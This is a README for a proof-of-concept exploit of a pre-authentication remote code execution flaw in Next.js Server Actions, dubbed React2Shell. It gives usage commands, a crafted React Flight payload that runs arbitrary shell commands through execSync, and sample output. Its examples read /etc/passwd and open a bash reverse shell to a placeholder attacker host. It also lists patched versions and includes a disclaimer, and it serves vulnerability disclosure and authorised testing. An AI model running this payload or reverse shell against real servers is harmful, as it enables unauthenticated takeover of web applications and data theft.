CVE-2025-55182 / CVE-2025-66478 (React2Shell) - Next.js Remote Code Execution (RCE) PoC

Critical vulnerability in Next.js Server Actions allowing unauthenticated Remote Code Execution via React Flight Protocol deserialization

Overview

This repository contains a Proof of Concept (PoC) for the critical RCE vulnerability affecting Next.js applications using Server Actions (React Server Functions).

Vulnerability Description

The vulnerability exists in how React Flight Protocol deserializes chunks during Server Actions processing. An attacker can exploit prototype pollution via crafted form data to:

1. Access the Function constructor through prototype chain traversal (__proto__)
2. Execute arbitrary JavaScript code on the server
3. Achieve full Remote Code Execution without authentication

This occurs before any validation of the server action, making it exploitable on any Next.js app with Server Actions enabled.

Affected Applications

Any Next.js application is vulnerable if:

• Uses Server Actions (default in App Router)
• Running Next.js 15.x or 16.x (or 14.3.0-canary.77+)
• No specific mitigations in place

Usage

Requirements

pip install requests

Run the PoC

python3 poc.py <TARGET_URL> "<COMMAND>"

Examples

# Test command execution
python3 poc.py http://localhost:3000 "id"

# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"

# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Sample Output

$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

The command output appears in the digest field.

Technical Details

The exploit leverages the React Flight Protocol's chunk resolution mechanism:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Attack chain:

1. Prototype traversal via $1:__proto__:then
2. Access Function constructor via $1:constructor:constructor
3. Inject arbitrary code via _prefix field
4. Code executes during deserialization (pre-auth)

Mitigation

Upgrade immediately:

npm install next@latest
# or
pnpm update next

Patched versions: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Note: Next.js 14.x stable and 13.x are NOT vulnerable.

Disclaimer

⚠️ This PoC is for educational and authorized security testing purposes only.

Unauthorized access to computer systems is illegal. Only use this tool on systems you own or have explicit permission to test. The authors are not responsible for any misuse.

Credits

Based on the original research by @msanft. Full credit for the vulnerability discovery and initial PoC goes to them.

References

• Original CVE-2025-55182 Research
• Next.js Official CVE Advisory
• Wiz Research - React2Shell Analysis
• React Flight Protocol
• NIST NVD - CVE-2025-55182

Keywords

Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE